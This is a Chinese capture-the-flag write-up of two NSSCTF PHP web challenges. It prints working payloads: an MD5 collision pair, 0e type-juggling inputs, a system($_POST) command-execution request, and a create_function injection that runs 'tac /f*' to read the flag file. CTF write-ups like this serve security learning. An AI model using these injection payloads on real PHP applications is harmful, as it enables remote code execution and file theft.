【Web】NSSCTF Round#16 Basic个人wp(全)

出题友好,适合手生复健。

目录

①RCE但是没有完全RCE

②了解过PHP特性吗


①RCE但是没有完全RCE

上来就是一段md5八股

(string)就是不让用数组了,然后强比较需要md5碰撞

复制代码
?md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

之后是要md5前后都是0e

复制代码
post:md5_3=0e215962017

成功过掉,访问3z_RC3.php

这里可能有师傅会想用hex2bin,但编码后会有f和a两个字母不能用,限制太大,反而弄巧成拙。

所以采用下面这种解法:

复制代码
/3z_RC3.php?cmd=system($_POST[1]);

post:shell=urldecode&1=tac /f*

这里妙就妙在让shell形同虚设,让cmd自成一个包含函数和参数的完整命令执行。

再要绕waf很自然就想到用$_POST1来转接。

②了解过PHP特性吗

乐,开屏一堆PHP特性

这里可能比较难测,所以建议自己本地搭一下,稍微修改下代码,让绕过的进度可视化。

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);

$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    echo 1;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        echo 2;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        echo 3;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        echo 4;
    }
}

第一个是数组绕过preg_match,不解释。

第二个是0e绕过弱比较,找两个md5后为0e的原字符串,因为要求ctype是字母,is_num是数字(当然包括科学计数法)

自然可以找到这两个,记得要rev一下。

QNKCDZO->OZDCKNQ

0e215962017->710269512e0

第三个是科学计数法+含数字字母字符串弱比较

第四个传入一个数组,NSS前加个空格可绕过"===",且让array_search可以匹配到NSS(可本地试一下)

复制代码
<?php

$arr=array(1 =>' NSS'); //注意NSS前有空格
$key=array_search('NSS',$arr);
if ($key=1){
    echo 'success';
}
else echo 'no!';

payload:

复制代码
?num[]=1&114=9e9

post:514=99999999a&ctype=OZDCKNQ&is_num=710269512e0&arr4y[]= NSS

访问Rc3_function.php

一眼create_function注入,贴出文章不多解释

create_function注入

payload:

复制代码
shell=&nss=1;}system('tac /f*');/*
相关推荐
QZ1665609515910 小时前
金融数据流转监测排行:从看见到拦截的距离
网络·安全·网络安全·金融
看着博客敲代码11 小时前
WorkBuddy 接上 Kali MCP 做自动化渗透:信息收集到初步验证的落地记录
linux·人工智能·安全·网络安全·自动化
学逆向的13 小时前
C 突破编译器限制
c语言·开发语言·网络安全
看着博客敲代码16 小时前
Nmap NSE 资产指纹识别:从脚本输出到资产清单
安全·网络安全·自动化
m0_7156744317 小时前
金融数据流转监测排行:从看见到拦截的距离
大数据·网络·安全·网络安全·金融
学逆向的17 小时前
C 控制台指令
c语言·开发语言·网络安全
Fnetlink118 小时前
Fnet 云网安 261012
安全·web安全·网络安全
m0_5474866619 小时前
《网络与信息安全》全套PPT课件2026
网络·网络安全
Sayai19 小时前
Hadoop 集群安全加固实战:YARN 未授权访问漏洞修复,firewalld 白名单 + Nginx 反向代理 Basic Auth 全流程
运维·hadoop·nginx·安全·网络安全
白帽攻防录20 小时前
SRC 挖洞:Android 蓝牙预认证 RCE 深度复盘,CVE-2026-55330 怎么在蓝牙范围内零交互攻破手机
android·网络安全·智能手机·src漏洞挖掘